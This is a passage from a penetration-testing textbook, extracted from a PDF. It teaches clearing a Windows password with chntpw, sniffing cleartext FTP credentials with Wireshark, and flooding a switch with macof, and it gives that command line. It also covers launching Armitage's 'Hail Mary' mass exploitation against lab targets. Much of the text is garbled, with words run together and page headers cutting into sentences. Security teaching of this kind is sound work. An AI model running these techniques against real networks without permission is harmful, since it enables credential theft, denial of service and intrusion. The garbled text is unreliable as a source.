“1”andhitenterorsimplyhittheenterkeytoacceptthedefault.NextwearepresentedwithalistofusersavailableonthelocalWindowsmachine.Youcanselectthedesireduserbytypinginhisorherusernameasdisplayed.Onceagain,thedefaultoptionissetto“Administrator”.Figure4.13showsascreenshotoftheavailableusers.

FIGURE4.13 Listofavailableuserstoresetpassword.

Hereagain,wecansimplyhitthe“enter”keytoacceptthedefaultchoiceof“Administrator”.Next,we are presented with the various options for editing the user on the target machine as shown inFigure4.14.Pleasenotethatatthisstep,youdonotwanttoacceptthedefaultoption!

FIGURE4.14 Chntpwusereditmenu.

Ratherthanacceptingthedefaultanswerforthisscreen,youwanttobesureyouselectoption“1”toclear the password.After entering your selection to clear the user password, youwill get amessagestating:“passwordcleared!”Atthispoint,youcanresetanotheruser’spasswordorenter“!”toquittheprogram.ItisimportantthatyoucompletetheremainingstepsbecauseatthispointthenewSAMfilehasnotbeenwrittentotheharddrive.Inthemenuthatfollows,enter“q”toquitthechntpwprogram.Atlastyouwillbepromptedwithamessageaskingifyouwouldliketowriteyourchangestotheharddrive.Besuretoenter“y”atthisstepasthedefaultissetto“n”.Thepasswordfor theselecteduserhasnowbeenclearedandisblank.YoucanshutdownKaliby

issuing the “reboot” command and ejecting theDVD.WhenWindows restarts, you can log into theaccountbyleavingthepasswordblank.Withalittlepractice,thisentireprocess,includingbootingKali,clearingthepassword,andbooting

intoWindows,canbecompletedin<5min.

Wireshark:SniffingNetworkTrafficAnotherpopulartechniquethatcanbeusedtogainaccesstosystemsisnetworksniffing.Sniffingistheprocessofcapturingandviewingtrafficasitispassedalongthenetwork.Severalpopularprotocolsinusetodaystillsendsensitiveandimportantinformationoverthenetworkwithoutencryption.Network

Page 111: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

trafficsentwithoutusingencryptionisoftenreferredtoascleartextbecauseitishumanreadableandrequires nodeciphering.Sniffing clear-text network traffic is a trivial but effectivemeansof gainingaccesstosystems.Beforewebeginsniffingtraffic,itisimportantthatyouunderstandsomebasicnetworkinformation.

Thedifferencebetweenpromiscuousmodeandnonpromiscuousnetworkmodeswillbediscussedfirst.Bydefault,mostnetworkcardsoperateinnonpromiscuousmode.Nonpromiscuousmodemeansthat

thenetworkinterfacecard(NIC)willonlypassonthespecifictrafficthatisaddressedtoit.IftheNICreceives traffic thatmatches itsaddress, theNICwillpass the trafficonto thecentralprocessingunit(CPU) for processing. If the NIC receives traffic that does not match its address, the NIC simplydiscardsthepackets.Inmanyways,anNICinnonpromiscuousmodeactslikeatickettakeratamovietheater.Thetickettakerstopspeoplefromenteringthetheaterunlesstheyhaveaticketforthespecificshow.Promiscuousmodeon theotherhand isused to force theNIC to accept all packets that arrive. In

promiscuousmode,allnetworktraffic ispassedontotheCPUforprocessingregardlessofwhether itwasdestinedforthesystemornot.In order to successfully sniff network traffic that is not normally destined for your PC, youmust

makesureyournetworkcardisinpromiscuousmode.Youmaybewonderinghowitispossiblethatnetworktrafficwouldarriveatacomputerordeviceif

thetrafficwasnotaddressedtothedevice.Thereareseveralpossiblescenarioswherethissituationmayarise.First,anytrafficthat isbroadcastonthenetworkwillbesent toallconnecteddevices.Anotherexampleisnetworksthatusehubsratherthanswitchestoroutetraffic.Ahubworksbysimplysendingallthetrafficitreceivestoallthedevicesconnectedtoitsphysical

ports.Innetworksthatuseahub,yourNICisconstantlydisregardingpacketsthatdonotbelongtoit.Forexample,assumewehaveasmalleight-porthubwitheightcomputerspluggedintothehub.Inthisenvironment,whenthePCpluggedintoportnumber1wantstosendamessagetothePCpluggedintoportnumber7,themessage(networktraffic)isactuallydeliveredtoallthecomputerspluggedintothehub.However,assumingall thecomputersare innonpromiscuousmode,machines2–6and8simplydisregardthetraffic.Manypeoplebelieveyoucanfixthissituationbysimplyswappingyourhubswithswitches.Thisis

becauseunlikehubsthatbroadcastalltraffictoallports,switchesaremuchmorediscrete.Whenyoufirstplugacomputerintoaswitch,themediaaccesscontrol(MAC)addressofthecomputer’sNICisregisteredwiththeswitch.Thisinformation(thecomputer’sMACaddressandswitch’sportnumber)isthenusedbytheswitchtointelligentlyroutetrafficforaspecificmachinetothespecificport.Goingbacktoyourpreviousexample,ifaswitchisbeingusedandPC1sendsamessagetoPC7,theswitchprocesses thenetwork traffic andconsults the table containing theMACaddress andportnumber. Itthen sends themessage toonly the computer connected to port number 7.Devices 2–6 and 8 neverreceivethetraffic.

Macof:MakingChickenSaladOutofChickenSh∗tItshouldbepointedoutthatthediscreteroutingpropertyofaswitchwasoriginallydesignedtoincreaseperformance,nottoincreasesecurity.Asaresultofthis,anyincreaseinsecurityshouldbeviewedasaby-product of the design rather than its original goal. Keeping this in mind, before you run out toreplaceallyourhubswithswitches,youshouldbeawarethattherearetoolsavailablethatcanbeusedagainstaswitchtomakeitactlikeahub.Inotherwords,insomeinstances,wecancauseaswitchto

Page 112: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

broadcastalltraffictoallportsmakingitbehaveexactlylikeahub.Mostswitcheshavealimitedamountofmemorythatcanbeusedtorememberthetablecontaining

MACaddressandcorrespondingportnumbers.ByexhaustingthismemoryandfloodingthetablewithbogusMACaddresses,aswitchwilloftenbecomeincapableofreadingoraccessingvalidentriesintheMACtoporttable.Becausetheswitchcannotdeterminethecorrectportforagivenaddress,theswitchwillsimplybroadcast the traffic toallports.Thismodel isknownas“failopen”.Theconceptof failopensimplymeansthatwhentheswitchfailstoproperlyanddiscretelyroutetraffic,itfallsbacktoahub-likestate(open)thatsendsalltraffictoallports.You should be aware that some switches are configured to “fail closed”. Switches that fail closed

operateinexactlytheoppositemannerofafailopenswitch.Ratherthanbroadcastingalltraffictoallports, fail closed switches simply stop routing traffic altogether. However, as a penetration tester orhacker,thereisanupsidetothisconfigurationaswell.Ifyouareabletopreventtheswitchfromroutingtraffic,youhavestoppedalltrafficonthenetworkandcausedadenialofservice.Assume that during your penetration test, you discovered a switch with an IP address of

192.168.18.2.Letusalsoassumethat themachineyouarecurrentlyusing (eitherdirectlyor throughpivoting)isconnectedtotheswitchandthatyouwanttosniffallthetrafficflowingthroughthedeviceinordertodiscoveradditionaltargetsandlocateclear-textpasswords.Dsniff is an excellent collection of tools that providemany useful functions for sniffing network

traffic.Itisrecommendedthatyoutaketimeandrevieweachofthetoolsanddocumentationincludedwithdsniff.OneofthedsnifftoolswrittenbyDugSong,calledmacof,providesuswiththeabilitytofloodaswitchwiththousandsofrandomMACaddresses.Iftheswitchisconfiguredtofailopen,theswitchwillbegintoactlikeahubandbroadcastalltraffictoallports.Thiswillallowyoutoovercometheselectiveroutingofaswitchandsniffallnetworktrafficpassingthroughthedevice.MacofisbuiltintoKaliandcanberunbyissuingthefollowingcommandinaterminalwindow:macof–ieth0–s192.168.18.130–d192.168.18.2Intheprecedingexample,“macof”isusedtoinvoketheprogram.Themacofprogramwillgenerate

and flood the network with thousands of MAC addresses. The “–i” switch is used to specify yourcomputer’s network card. This is where theMAC addresses will be sent from. The “–s” is used tospecify the source address. The “–d” is used to specify the destination or target of your attack.Figure 4.15 shows an example of the command used to start macof, and a small selection of thegeneratedoutput.

FIGURE4.15 Usingmacoftofloodaswitch.

Asafinalwordofcaution,usingmacofwillgeneratetremendousamountsofnetworktrafficandisthereforeeasilydetectable.Youshouldusethistechniqueonlywhenstealthisnotaconcern.Withtheconceptsofpromiscuousmodeandtheabilitytosnifftrafficonaswitchinmind,youcan

examineanotherpopulartoolthatcanbeusedtoviewandcapturenetworktraffic.OneofthesimplestandmostpowerfultoolsforsniffingnetworktrafficisWireshark.WiresharkwasoriginallywrittenbyGeraldCombsin1998.Thispopulartoolisafreenetworkprotocolanalyzerthatallowsyoutoquickly

Page 113: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

and easily view and capture network traffic. You can download Wireshark for free fromhttp://www.wireshark.org.Wireshark isanextremelyflexibleandmature tool. It shouldbenoted thatprior to 2006,Wiresharkwas known as Ethereal. Even though the program remained the same, thenamewaschangedbecauseofsometrademarkissues.Wireshark is built intoKali and can be accessed through the all programsmenu or by opening a

terminalwindowandenteringthe“wireshark”commandasshownbelow:wiresharkBesurethatyouhaveenabledandconfiguredatleastonenetworkinterfaceinKalibeforerunning

Wireshark.TheinstructionsfordoingthiscanbefoundinChapter1.When you first start Wireshark inside of Kali, you will get a message telling you that “running

Wiresharkasuser‘root’canbedangerous.”Youcanclick“Ok”toacknowledgethiswarning.Next,youwillneedtoselectyournetworkcardandensurethatitisproperlysetuptocaptureallavailabletraffic.Youcandothisbyclickingontheiconshowinganetworkcardandamenulist.Theiconislocatedintheupperleftcorneroftheprogram.Figure4.16showsascreenshotofthebutton.

FIGURE4.16 Wiresharkbuttontoselectthecaptureinterface.

Selectingthe“listavailablecaptureinterfaces…”buttonwillbringupanewwindowdisplayingalltheavailable interfaces.Fromhere,youwillbeabletoviewandselect theappropriate interface.Youcanbeginasimplecapturebychoosingtheappropriateinterface,acceptingthedefaults,andclickingonthe “start” button.You can also customize your capture options by clicking on the “options” button.Figure4.17showsanexampleoftheWiresharkCaptureInterfaceswindow.

FIGURE4.17 Wiresharkcaptureinterfacewindow.

Becausewearefocusingonthebasics,wewillleavethedefaultoptionsandselectthe“start”button.Onabusynetwork,theWiresharkcapturewindowshouldfillrapidlyandcontinuetostreampacketsaslong as you let the capture run.Do notworry about attempting to view this information on the fly.

Page 114: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

Wiresharkallowsustosavethecaptureresultsandreviewthemlater.RecallfromChapter3thatourLinuxtarget(Metasploitable)hadanFTPserverrunning.Todemothe

powerofnetworksniffing,firstbeginaWiresharkcaptureandthenopenanewterminalandlogintothe targetFTPserverwhich is runningonMetasploitable.ToaccessanFTPserver fromthe terminalwindow,issuethecommand“ftp”followedbytheIPaddressoftheserveryouareattemptingtoaccessasshownbelow:ftpip_address_of_ftp_serverAt this point, you will be presented with a login prompt. Provide a user name of ownedb and a

passwordoftoor.PleasenotethatifyouareattemptingtologintotheMetasploitableFTPserver,yourcredentialswillbeinvalid.However,forthepurposeofthisdemo,thatisacceptable.AfterlettingtheWiresharkcapturerunforseveralsecondsafteryouattempttologin,stopthecapturebyclickingonthebuttonwithanetworkcard;ared“x”.Thisbuttonis locatedin themenuat the topof theWiresharkcapturewindowasshowninFigure4.18.

FIGURE4.18 StoppingtheWiresharkcapture.

Once the network capture has been stopped, you are free to review the packets captured byWireshark. You should take some time to review your capture and attempt to identify any relevantinformation.AsshowninFigure4.19,ourpacketdumpwasabletosuccessfullycapturetheusername,password,andIPaddressoftheFTPserver!Eventhoughourloginwasincorrect,youcanseethatusernameandpasswordwerepassedonthewire(andcapturedbyourattackmachine)incleartext.Manyorganizations today still use clear-textprotocols. Ifwehadbeen recordingan actual sessionwhere auserhadsuccessfullyauthenticatedwith theserver,wecoulduse the information to log into theFTPserver.

FIGURE4.19 UsingWiresharktosniffFTPcredentials.

If you performed a capture on a particularly busy network, you may find the volume and sheer

Page 115: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

number of captured packets overwhelming. Manually reviewing a large packet capture may not befeasible.Luckily,Wireshark includes a filter that can be used to drill down and refine the displayedoutput.Revisitingourpreviousexample,wecouldenterthekeyword“ftp”inthefilterboxandclickthe“apply”button.ThiswillcauseWiresharktoremoveallpacketsthatdonotbelongtotheFTPprotocolfrom our current view. Obviously, this will significantly reduce the number of packets we need toreview.Wiresharkincludessomeincrediblypowerfulfilters.Itiswellworththeefforttotakethetimeto review and masterWireshark filters. It should be pointed out that you can always remove yourcurrentfilteredviewandgobacktotheoriginalpacketcapturebyclickingthe“clear”button.

Armitage:IntroducingDougFlutieofHackingIfyouareasports fan,youprobably remember (orhaveheardabout)DougFlutie’s last secondHailMarypass togiveBCthewinoverMiami. In thissection,wearegoing todiscussMetasploit’sHailMaryimplementation.ArmitageisaGUI-drivenfront-endwhichsitsontopofMetasploitandgivesustheabilityto“hack

likethemovies”.ArmitageisavailableforfreeandbuiltintoBacktrack.IfyouarerunningKali,youmay need to install it before using. You can review the details of Armitage by visiting the officialprojectpageathttp://www.fastandeasyhacking.com/.

ADDITIONALINFORMATIONIfyourversionofKalidoesnothaveArmitageinstalled,youcaninstallitbyrunningthefollowingcommands:apt-getinstallarmitageOnce Armitage has been installed, you will need to start the PostgreSQL service by

issuingthefollowingcommandinaterminal:servicepostgresqlstartAtthispoint,youshouldbeabletoproceedwithrunningArmitageasdiscussedinthis

section.Ifyougetanerrormessagethatsays“TrysettingMSF_DATABASE_CONFIGtoafilethatexists,”youwillneedtorunthefollowingcommandandrestartArmitage:servicemetasploitstart

Anearlier sectiondescribed theuseofMetasploit asa sniper rifle for takingdownvulnerableandunpatchedsystems.ArmitageisbuiltonMetasploit;butrather thanrequiringthepenetrationtester todig for vulnerabilities and match exploits, Armitage includes functionality which can be used toautomatetheentireprocess.WhenusingArmitage’s“HailMary”function,theonlythingapenetrationtesterneedstodoistoenterthetarget’sIPaddressandclickafewicons.There is nothing subtle or stealthy about Armitage’s Hail Mary function. The tool works by

conductingaport scanof the target;basedon the information returned from theport scan,Armitagesprays every known or possiblematching exploit against the target. Armitage takes the “let’s throweverythingatthewallandseewhatsticks”approachtoexploitation.EvenifArmitageissuccessfulingettingashell,thetoolcontinuessprayingattacksagainstthetargetuntilallthepossibleexploitshave

Page 116: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

beenattempted.Whenusedagainstweaktargets,thiswilloftenleadtomultipleshells.It is important to point out that Armitage can be utilized in a much more subtle way including

conductingreconnaissanceandscanningagainstasingletarget.However,forthepurposeofthisbook,wewill focus on theM-60 approach of spraying asmany bullets as possible and focusing on sheervolumeratherthanaccuracy.ArmitagecanbeaccessedbynavigatingtheKali,allprogramsmenuorbyopeninga terminaland

enteringthe“armitage”commandasshownbelow:armitageAfterenteringthecommandintoaterminal,youwillbepresentedwitha“connect…”dialogboxas

showninfigure4.20.TostartArmitage,youcanleavethedefaultvaluesandclickthe“connect”button.

FIGURE4.20 StartingArmitage.

Afterclickingthe“connect”button,youwillbepresentedwithadialogboxwhichaskswhetheryouwant to start Metasploit. Select the default answer of “yes”. Next, you will be presented with a“java.net.ConnectionException: Connection refused” dialog box. Just leave this while Armitage andMetasploitget everything set up for you. Eventually youwill be presentedwith aGUI as shown inFigure4.21.

Page 117: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

FIGURE4.21 InitialArmitagescreen.

ThemainArmitage screen can be subdivided up into two areas.The top half consists of theGUIwhichallowsyou to interactwithMetasploit,whereas thebottomhalfprovidescommandlineaccessforeachinteraction(asifyouwereutilizingtheterminalratherthanaGUI).Youcanusebothpanelstointeract with the target. As you perform more actions utilizing the top half of Armitage, newcorrespondingtabswillautomaticallyopenforyouonthebottomhalf.Youcaninteractwiththevarioustabsbyclickingonthemandtypinginthedisplayedterminal.

ALERT!ArmitageprovidesatonoffunctionalityaboveandbeyondtheHailMaryattackthatwearegoingtouse.Takesometimetolearnitsfullpotential.

WhyLearnFiveToolsWhenOneWorksJustasWell?When all else fails, you may want to bust out the M-60. The easiest way to do this is to accessArmitage’s “HailMary” program.However, beforewe can begin spraying exploits at our target,weneedtodoalittleprework.First,weinstructArmitagetoscanourlocalnetworkandidentifyanylivetargets.Torunascan,clickonthe“hosts”optionlocatedinthemenuandthenchoose“QuickScan(OSdetect)”asshowninFigure4.22.

Page 118: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

FIGURE4.22 RunningaNmapscanfromArmitagetoidentifytargets.

Afterselectingthe“QuickScan(OSdetect)”youwillneedtoprovideavalidIPaddressorIPrangeto scan. Once the scan has finished, any identified targets will now show up as a monitor in theworkspace.Figure4.23providesanexampleofthisoutput.Amessageboxwillalsoappearinstructingyouto“UseAttacks→FindAttacks”tolocateexploits.

FIGURE4.23 ScreenshotshowingArmitagehasidentifiedapotentialtarget.

AslongasArmitagehasidentifiedatleastonepotentialtarget,youarereadytounleashatorrentofexploits.Toaccomplishthis,simplyclick“Attacks”fromthemenufollowedby“HailMary”asshowninFigure4.24.

Page 119: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

FIGURE4.24 RunningaHailMarywithArmitage.

ClickingtheHailMaryoptionwillcauseArmitagetoletlooseafloodofexploitsagainstyourtarget.The tool will begin running and issuing commands automatically. This process may take severalminutestocomplete.Youcanwatchtheprogressoftheprogramasitscrollsbyinthebottomhalfofthewindow.Armitagewillalsopresentyouwithaprogressbartoletyouknowhowfaralongtheprocesshasprogressed.Tobeclear,atthispointArmitageiscorrelatingtheNmapfindingswiththeexploitsinMetasploit and is sending every relevant exploit against the target. There is nothing stealthy orsurreptitiousaboutthismethod.PaycloseattentiontotheGUImonitorrepresentingyourtargetwithinArmitage;ifthetargetbecomesoutlinedinredlightningbolts,Armitagehassuccessfullycompromisedthetarget.Figure4.25showsanexampleofacompromisedtargetwiththreeactiveremoteshells.

FIGURE4.25 Armitagesuccessandthreeremoteshells.

WhenArmitagehasexhausteditssupplyofpotentialexploits,youcanviewanyandalloftheshellsthat were obtained by right clicking on the (now lightning-bolt wrapped) monitor as shown in

Page 120: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

Figure4.26.

FIGURE4.26 InteractingwitharemoteshellthroughArmitage.

Atthispointyoucaninteractwiththetarget,uploadprogramsandmaterialtothetarget,orperformavarietyof other attacks.Togain a shell and run commandson the remote target, click the “interact”option.ThiswillallowyoutoissueandruncommandsinthelowerterminalwindowofArmitage.Allthe commands you runwill execute on the remotemachine as if you had physical access andweretypingatalocalterminalonthetarget.Obviouslyatthispoint,theexploitationphaseisoverforthistarget!

HowDoIPracticeThisStep?Practicing exploitation is one of the most challenging, frustrating, time-consuming and rewardingexperiencesthatcanbeofferedtonewhackersandpenetrationtesters.Itisprobablyafairassumptionthat if you are reading thisbook,youare interested inhacking.Asmentionedearlier, theprocessofexploitation is the single stepmost often associatedwith hacking (even though you now know it ismuchmore!).Ifyouhaveneversuccessfully“owned”orexploitedatarget,youareinforquiteatreat.Theexperienceofgainingadministrativeaccessonanothermachineisathrillthatisbothelectrifyingandunique.Thereareseveralwaystopracticethisstep; theeasiestwayis tosetupavulnerabletarget inyour

penetration-testinglab.Onceagain,usingvirtualmachinesishelpfulbecauseexploitationcanbeaverydestructiveprocessandresettingavirtualmachineisofteneasierandfasterthanreimagingaphysicalmachine.If you arenew to exploitation, it is important that youhave a few immediate successes.Thiswill

keep you from getting discouraged as you progress andmove ontomore difficult targets where theexploitation process becomes more tedious and difficult. As a result, it is suggested that you startlearningexploitationbyattackingold,unpatchedversionsofOSsandsoftware.Successfullyexploitingthese systems should give you motivation to learn more. There are many examples of studentsbecomingquicklyandpermanentlydisillusionedwithexploitationandhackingbecausetheyattemptedtoattackthelatest-greatest-fully-patchedOSandfellflatontheirface.Rememberthisbookfocusesonthebasics.Onceyoumasterthetoolsandtechniquesdiscussedhere,youwillbeabletomoveontothemoreadvancedtopics.Ifyouarenewtothisprocess,letyourselfwinalittleandenjoytheexperience.

Page 121: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

Asmentionedseveraltimes,youshouldtrytoobtainalegalcopyofMicrosoft’sXPtoaddtoyourpentestinglabenvironment.YoushouldbeabletofindalegalcopyoneBay,Amazon,orCraigslist.Justmakesureyouarepurchasingagenuinecopysothatyoucanstayontherightsideoftheend-userlicenseagreement.ItisalwayssuggestedthatnewcomersbeginwithXPbecausetherearestillabundantcopies available and there are standing exploits in theMetasploit framework that will allow you topracticeyourMetasploit-fu.AsdiscussedinChapter1,whenbuildingyourpentestinglab,itisrecommendedthatyoubeginby

findingthelowestservicepackeditionofXPpossible.Eachservicepackreleasefixesandaddressesanumberofholesandvulnerabilities.Withthisadviceinmind,XPwithnoservicepackinstalledisbest.XPSP1would be next best; however,XPSP2 andXPSP3 alsomake fine targets.Be aware thatMicrosoft introduced some significant security changes to XP beginning with service pack 2.RegardlessofwhetheryouchooseXP,Vista,Windows7oreven8,youwillprobablyfindatleastonestandingexploit.IencourageyoutostartwitholderversionsandworkyourwayuptothemodernOSs.OldversionsofLinuxarealsoagreatsourceof“exploitabletargets”.ThecrewfromKalicreateda

freeMetasploit trainingmodule called “MetasploitUnleashed”. It is strongly recommended that youexplorethisresourceaftercompletingthisbook.TheMetasploitUnleashedprojectcontainsadetaileddescription of how to download and set up Ubuntu 7.04 with Samba installed. Creating a virtualmachinewithUbuntu7.04andSambarunningisawayofsettingupafree(asinnocost)vulnerabletargetandallowsyoutopracticeattackingaLinuxsystem.Finally, Thomas Wilhelm has graciously created and offered for free a series of entertaining,

challenging, andhighly customizable liveLinuxCDs calledDe-ICE.TheDe-ICECDs allowyou topracticeaseriesofpenetrationtestingchallengesfollowingarealisticscenario.YoucangetyourhandsonthesegreatCDsbydownloadingthemathttp://heorot.net/livecds/.TheCDsaregreatbecausetheypresentyouwitharealisticsimulationofanactualpenetrationtest.Anothergreat featureof theDe-ICECDsis thatyouwillnotbeable tosimplyautopwnyourway

throughthechallenges.EachDe-ICECDincludesseveraldifferentlevelsofchallengesthatyoumustcomplete.Asyouworkyourwaythroughthechallenges,youwillneedtolearntothinkcriticallyandusemanyofthetoolsandtechniqueswehavediscussedinsteps1–3.TheonlywordofcautionwhenusingtheseawesomeCDs(oranypreconfiguredlabforthatmatter)

isthatyoushouldbeverycarefulaboutaskingfortoomuchhelp,givinguptoosoon,andrelyingonthehints toooften.LiveCDs likeDe-ICEholda tremendousvaluebutoftentimesyouonlyget toworkthroughthemasingletime.Onceyouhavereadthehintorsolutiontoaproblem,thereisnowaytoputthe “answer Jinni” back into the bottle, as youwillmost likely remember the answer forever. As aresult, you are encouraged to have persistence and tough it out. If you have read and practicedeverything that has been discussed up to this point, youwill have the ability to gain administrativeaccesstothefirstDe-ICEdisk.Ofcourse,youcanalwaysgobackandrerunthechallengesandyouareencouragedtodoso,butit

willbedifferentthesecondtimearoundbecauseyouwillknowwhattolookfor.Takeyourtime,enjoythechallenge,andworkthroughtheissuesyouencounter.Believeitornot,thereistremendousvalueandlearningpotentialinbangingyourheadagainstaseeminglyinsurmountableproblem.Ifyouwanttobeapenetrationtester,youwillneedtolearntobepersistentandresourceful.Embracethechallengesyouencounterasalearningsituationandmakethemostofthem.Setting up andworking yourway through all the vulnerable targets described above should be an

enjoyableprocess.Belowyouwillfindsomespecifictipsforsettinguptargetstopracticeeachofthetoolsthatwerediscussedinthischapter.

Page 122: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

The easiestway to practiceMedusa is to start a remote process on a targetmachine. Try startingTelnet on aWindowsmachine andSSHorFTPon aLinuxmachine.Youwill need to create a fewadditionalusersandpasswordswithaccess to theremoteservices.Onceyouhave theremoteservicerunning,youcanpracticeusingMedusatogainaccesstotheremotesystem.Aswehavementioned,theeasiestwaytopracticeMetasploitandArmitageisbysettingupanolder

versionofWindowsXPas the target; remember the lower the servicepack, thebetter.You can alsodownloadacopyofUbuntu7.04andinstallSambaonit.Fortheexamplesinthisbook,wehaveusedMetasploitable.Topracticewith JtRandchntpw,youcan set up avictimmachinewith several user accounts and

differentpasswords.Itishighlysuggestedthatyouvarythestrengthofthepasswordsforeachaccount.Make a few user accounts with weak three- and four-letter passwords andmake others with longerpasswordsthatincludeuppercaseandlowercaselettersalongwithspecialcharacters.

WhereDoIGofromHere?At this point you should have a solid understanding of the basic steps required to exploit and gainaccesstoasystem.Rememberyourattackmethodswillchangebasedonyourtargetanddesiredgoal.Nowthatyouunderstandthebasics,youshouldbereadytotacklesomemoreadvancedtopics.You should take some timeand review thepasswordbrute forcing toolHydra.This tool functions

much likeMedusa but provides a few extra switches to give you some additional options.CarefullyrevieweachoftheswitchessupportedbyHydra.YoucanfindtheswitchesandabriefdescriptionbyreviewingtheHydramanpages.Itisrecommendedthatyoupayspecialattentiontothetimingoption.Theabilitytocontrolthetimingorrateofconnectionsishandyforcorrectingmanyconnectionerrorsthatoccurwhenweutilizeonlinepasswordcrackers.Alongwithyourownpersonalpassworddictionary,youshouldbeginbuildingalistofdefaultuser

namesandpasswordsforvariousnetworkdevices.Asyouprogressinyourpenetrationtestingcareer,you will probably be surprised at how often you will come across devices like routers, switches,modems,firewalls,etc.,thatstilluseadefaultusernameandpassword.ItisnotuncommontofindPTstorieswherethepenetrationtesterwasabletotakecompletecontrolofaboarderrouterandredirectallinternalandexternaltrafficbecausethecompanyadministratorhadforgottentochangethedefaultusernameandpassword.Itdoeslittlegoodtospendtimeconfiguringandsecuringyourdeviceifyoufailtochange the user name and password. There are several good starter lists of default user names andpasswordsavailableonline.Another great tool for password cracking isRainbowCrack.RainbowCrack is a tool that relies on

Rainbowtablestocrackpasswords.ARainbowtableisaprecomputedlistofpasswordhashes.Recallthat traditional password-cracking tools like JtRgo through a three-step process. First, the toolmustgenerateapotentialpassword;next,thetoolneedstocreateahashofthechosenword;andfinally,thepassword-crackingtoolhastocomparethegeneratedhashwiththepasswordhash.Rainbowtablesaremuch more efficient because they make use of precomputed password hashes. This means that thecrackingprocessreducestwooutofthethreestepsandsimplyneedstocomparehashestohashes.Therearelotsofgreattoolsthatcanbeexploredandusedforsniffing.Itishighlyrecommendedthat

youspendtimegettingtoknowanduseWireshark.Thisbookcoveredonlythebasics,butWiresharkisadeepprogramwithmanyrichfeatures.Youshouldlearnhowtousethefilters,followdatastreams,andviewinformationonspecificpackets.OnceyouarecomfortablewithWireshark,diggingintodsniffishighlyrecommended.Asmentionedearlier,dsniffisanincrediblesuitewithtonsofgreattools.With

Page 123: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

someself-studyandpractice,youcanevenlearntointerceptencryptedtrafficlikeSSL.OnceyouarecomfortablewithWireshark,youshouldtakealookatacommandliketoolliketcpdump.TcpdumpisagreatoptionforcapturingandviewingnetworktrafficfromtheterminalwhenaGUIisnotavailable.Ettercapisanotherfantastictoolthathasmanypowerfulfeaturesandabilities.Ettercapisagreattool

for conducting man-in-the-middle attacks. Ettercap works by tricking clients into sending networktraffic through the attacker machine. This is a great way to get user names and passwords frommachinesonthelocalLAN.OnceyouhavesuccessfullystudiedandusedWireshark,dsniff,tcpdump,andEttercap,youwillbewellonyourwaytomasteringthebasicsofnetworksniffing.AfterreviewingandunderstandingthebasicsofMetasploit,youshoulddiginandlearnthedetailsof

the Meterpreter payload. There are dozens of switches, commands, and ways to interact with theMeterpreter.Youshouldlearnandpracticethemall.Learninghowtocontrolthisamazingpayloadwillpay mountains of dividends in your exploitation career. It is important that you understand usingMetasploitincombinationwiththeMeterpreterisoneofthemostlethalamalgamationsavailabletoanewpenetration tester.Donot underestimate or overlook this powerful tool.Wewill dive intomoreMeterpreterdetailsinstep4whenwediscusspostexploitation.Untilnowonlyautomatedattackshavebeendiscussed.Eventhoughitcanbeextremelyentertaining

topushbuttonsandpwnremotesystems,ifyouneveradvanceyourskilllevelbeyondthispoint,youwillbeascriptkiddieforever.Initially,weallstartoutasapersonwhomustrelyonotherstodevelopandreleasenewexploittools,buttobecometrulyeliteyouwillneedtolearnhowtoread,write,andcreateyourownexploits.Whilecreatingyourownexploitsmayseemdauntingatfirst,itisaprocessthatbecomesmucheasier themoreyou learn.Agoodplace tostart learningaboutexploitation isbygettingtoknowbufferoverflows.Ifyoucannot findamatchingexploit inMetasploit, trysearching theExploit-DB.This isapublic

repository of exploits and Proof of Concept code. Oftentimes the exploit code can be downloaded,tweaked,andlaunchedtosuccessfullyownyourtargetsystem.Stack and heap-based buffer overflows, which are responsible for many of the exploits available

today,oftenseemlikemagicorvoodootonewcomers.However,withsomededicatedandcarefulself-study,thesetopicscanbedemystifiedandevenmastered.Advancingyourskill level to thepointofbeingable to findbufferoverflowsandwrite shellcode

oftenrequiressomeadditionaltraining.Althoughthistrainingisnotstrictlyrequired,itcertainlymakestheprocessoflearningadvancedexploitationmucheasier.Wheneverpossible,youshouldspendtimelearning a programming language like “C”.Once you are comfortablewithC, you should focus onunderstandingatleastthebasicsofAssemblyLanguage.Havingasolidunderstandingofthesetopicswill help dispelmuch of the “black-magic” feelmany people havewhen they first encounter bufferoverflows.Finally, since we are on the subject of programming, I encourage you to become proficient in a

scripting language as well. Python and Ruby are excellent choices and can help you extend andautomatetoolsandtasks.

